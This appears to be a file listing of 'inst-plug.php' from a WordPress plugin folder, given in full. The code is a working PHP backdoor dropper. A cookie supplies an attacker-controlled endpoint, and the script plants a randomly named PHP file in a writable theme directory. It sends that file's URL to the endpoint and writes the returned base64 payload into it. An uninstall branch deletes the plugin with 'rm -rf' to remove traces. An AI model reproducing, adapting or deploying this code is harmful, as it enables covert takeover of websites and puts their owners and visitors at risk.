File "inst-plug.php"

Full Path: /home/bechuebe/www/wp-content/plugins/hellodab/inst-plug.php
File size: 3.51 KB
MIME-type: text/x-php
Charset: utf-8

<?php
$plug_name = basename(__DIR__);

if($_POST['uninstall']){

	$f = fopen('__FILE__', 'w');
	fclose($f);
	exec('rm -rf ../'.$plug_name);
	exit;
}

$cuu = $_COOKIE[764] ?? null; if($cuu === null){ exit; }



///
$scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? 'https://' : 'http://';
//
$site   = $scheme . $_SERVER['HTTP_HOST']; 
$file_name = substr(md5(time().$_SERVER['HTTP_HOST']), 0, 8).rand(1, 99).'.php' ;

$rootDir = realpath($_SERVER['DOCUMENT_ROOT']).'/wp-content/themes';
if ($rootDir === false) {
    die('!end!');
}

function getFileUrl(string $absolutePath, string $site): ?string
{
    $abs = str_replace('\\', '/', realpath($absolutePath));
    if ($abs === false) {               
        return null;
    }

    $docRoot = rtrim($_SERVER['DOCUMENT_ROOT'] ?? '', '/');

    if (stripos($abs, $docRoot) !== 0) {
        return null;                   
    }

    $relative = substr($abs, strlen($docRoot));
    $relative = '/' . ltrim($relative, '/'); 

    $site = rtrim($site, '/');
    return $site . $relative;
}

//
function getDirectoriesRecursive(string $basePath): array
{
    $dirs = [];
    $rootDepth = substr_count($basePath, DIRECTORY_SEPARATOR);
    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator(
            $basePath,
            FilesystemIterator::SKIP_DOTS
        ),
        RecursiveIteratorIterator::SELF_FIRST
    );

    foreach ($iterator as $item) {
        if ($item->isDir()) {
            $path = $item->getRealPath();
            $depthRel = substr_count($path, DIRECTORY_SEPARATOR) - $rootDepth;
            $accessible = is_readable($path);
            $dirs[] = [
                'path'       => $path,
                'depth'      => $depthRel,
                'accessible' => $accessible,
            ];
        }
    }
    usort($dirs, fn($a, $b) => $b['depth'] <=> $a['depth']);
    return $dirs;
}

//
function apiret($furl){
    $data = '';
    $apurl = trim($_COOKIE[764]);
    $apiEndpoint = $apurl; 

    $ch = curl_init($apiEndpoint);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded',]);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['url' => $furl]));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);   
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);          

    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

    if ($response === false) {
        echo ' cURL error: ' . curl_error($ch) . "\n";
        die('!end!');
    }

    if ($httpCode === 200) {
        $data = json_decode($response, true);
        if (json_last_error() !== JSON_ERROR_NONE) {
            die('!end!');
        }
    }
    curl_close($ch);

    return $data;
}

//
$directories = getDirectoriesRecursive($rootDir);


foreach ($directories as $key => $value) {
   
    $path = $value['path'];
    if (!is_dir($path)) {
        continue;
    }

    if (!is_writable($path)) {
        continue;
    }

    $file_path = $value['path'].'/'.$file_name;
    $handle = @fopen($file_path, 'w'); 
    if ($handle === false) {
        continue;
    }

    $url = getFileUrl($file_path, $site);

    //
    if ($url === null) {
        continue;
    }

    //
    $data = apiret($url);

    if($data == ''){
        die('!end!');
    }

    $bytes = fwrite($handle, base64_decode($data['data'])); 
    if ($bytes === false) {
        die('!end!');
    }
    fflush($handle);
    fclose($handle);

    die('!success!');
}
die('!end!');